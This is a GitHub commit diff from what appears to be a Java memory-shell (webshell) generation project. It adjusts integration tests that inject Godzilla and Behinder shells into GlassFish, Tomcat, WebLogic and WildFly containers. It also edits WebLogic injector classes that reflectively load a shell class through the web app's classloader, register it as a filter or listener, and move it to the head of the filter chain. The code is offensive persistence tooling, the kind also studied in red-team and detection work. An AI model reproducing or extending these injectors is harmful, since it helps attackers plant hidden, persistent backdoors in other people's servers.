Skip to content

Commit f2bbe57

Browse files
committed
fix
1 parent 6465028 commit f2bbe57

File tree

11 files changed

+117
-135
lines changed

11 files changed

+117
-135
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,6 @@ public static void packerResultAndInject(GenerateResult generateResult, String u
9898
Files.write(tempJar, bytes);
9999
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
100100
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
101-
// Files.copy(tempJar, Paths.get("target.jar"));
102101
FileUtils.deleteQuietly(tempJar.toFile());
103102
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
104103
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -18,14 +18,15 @@
1818
import org.testcontainers.images.builder.ImageFromDockerfile;
1919
import org.testcontainers.junit.jupiter.Container;
2020
import org.testcontainers.junit.jupiter.Testcontainers;
21-
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
2221

2322
import java.time.Duration;
2423
import java.util.List;
2524
import java.util.stream.Stream;
2625

2726
import static com.reajason.javaweb.integration.ContainerTool.*;
27+
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
2828
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
29+
import static org.hamcrest.MatcherAssert.assertThat;
2930

3031
/**
3132
* @author ReaJason
@@ -63,18 +64,14 @@ static Stream<Arguments> casesProvider() {
6364
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6465
);
6566
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
66-
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
67-
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
68-
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) // ClassFormatError
69-
);
70-
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
67+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
7168
}
7269

7370
@AfterAll
7471
static void tearDown() {
7572
String logs = container.getLogs();
7673
log.info(logs);
77-
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
74+
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
7875
}
7976

8077
@ParameterizedTest(name = "{0}|{1}{2}|{3}")

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@ static Stream<Arguments> casesProvider() {
6363
@AfterAll
6464
static void tearDown() {
6565
String logs = container.getLogs();
66+
log.info(logs);
6667
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
6768
}
6869

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,7 @@ static Stream<Arguments> casesProvider() {
6666
@AfterAll
6767
static void tearDown() {
6868
String logs = container.getLogs();
69+
log.info(logs);
6970
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
7071
}
7172

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,7 @@ static Stream<Arguments> casesProvider() {
5555
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
5656
);
5757
List<Packers> testPackers = List.of(Packers.Base64);
58-
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
59-
Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException
60-
Triple.of(ShellType.FILTER, ShellTool.Behinder, Packers.Base64) // java.net.SocketTimeoutException
61-
);
62-
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
58+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6359
}
6460

6561
@AfterAll

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,7 @@ static Stream<Arguments> casesProvider() {
6262
@AfterAll
6363
static void tearDown() {
6464
String logs = container.getLogs();
65+
log.info(logs);
6566
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
6667
}
6768

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,7 @@ static Stream<Arguments> casesProvider() {
6464
@AfterAll
6565
static void tearDown() {
6666
String logs = container.getLogs();
67+
log.info(logs);
6768
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
6869
}
6970

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -116,6 +116,11 @@ public static Object[] getContextsByThreads() throws Throwable {
116116
return webappContexts.toArray();
117117
}
118118

119+
/**
120+
* weblogic.servlet.internal.WebAppServletContext
121+
* /opt/oracle/wls1036/server/lib/weblogic.jar
122+
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
123+
*/
119124
public static Object[] getContext() {
120125
Set<Object> webappContexts = new HashSet<Object>();
121126
try {
@@ -129,12 +134,17 @@ public static Object[] getContext() {
129134
return webappContexts.toArray();
130135
}
131136

137+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
138+
try {
139+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
140+
} catch (Exception e) {
141+
return ((ClassLoader) getFieldValue(context, "classLoader"));
142+
}
143+
}
144+
132145
@SuppressWarnings("all")
133146
private Object getShell(Object context) throws Exception {
134-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
135-
if (classLoader == null) {
136-
classLoader = context.getClass().getClassLoader();
137-
}
147+
ClassLoader classLoader = getWebAppClassLoader(context);
138148
try {
139149
return classLoader.loadClass(getClassName()).newInstance();
140150
} catch (Exception e) {
@@ -149,6 +159,7 @@ private Object getShell(Object context) throws Exception {
149159
@SuppressWarnings("unchecked")
150160
public void inject(Object context, Object filter) throws Exception {
151161
if (isInjected(context)) {
162+
System.out.println("filter already injected");
152163
return;
153164
}
154165
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
@@ -159,6 +170,7 @@ public void inject(Object context, Object filter) throws Exception {
159170
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
160171
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
161172
filterPatternList.add(0, currentMapping);
173+
System.out.println("filter inject successful");
162174
}
163175

164176
@SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -128,9 +128,17 @@ public static Object[] getContext() {
128128
return webappContexts.toArray();
129129
}
130130

131+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
132+
try {
133+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
134+
} catch (Exception e) {
135+
return ((ClassLoader) getFieldValue(context, "classLoader"));
136+
}
137+
}
138+
131139
@SuppressWarnings("all")
132140
private Object getShell(Object context) throws Exception {
133-
ClassLoader classLoader = context.getClass().getClassLoader();
141+
ClassLoader classLoader = getWebAppClassLoader(context);
134142
try {
135143
return classLoader.loadClass(getClassName()).newInstance();
136144
} catch (Exception e) {
@@ -144,10 +152,12 @@ private Object getShell(Object context) throws Exception {
144152

145153
public void inject(Object context, Object listener) throws Exception {
146154
if (isInjected(context)) {
155+
System.out.println("listener already injected");
147156
return;
148157
}
149158
Object eventsManager = getFieldValue(context, "eventsManager");
150159
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
160+
System.out.println("listener inject successful");
151161
}
152162

153163
@SuppressWarnings("unchecked")

0 commit comments

Comments
 (0)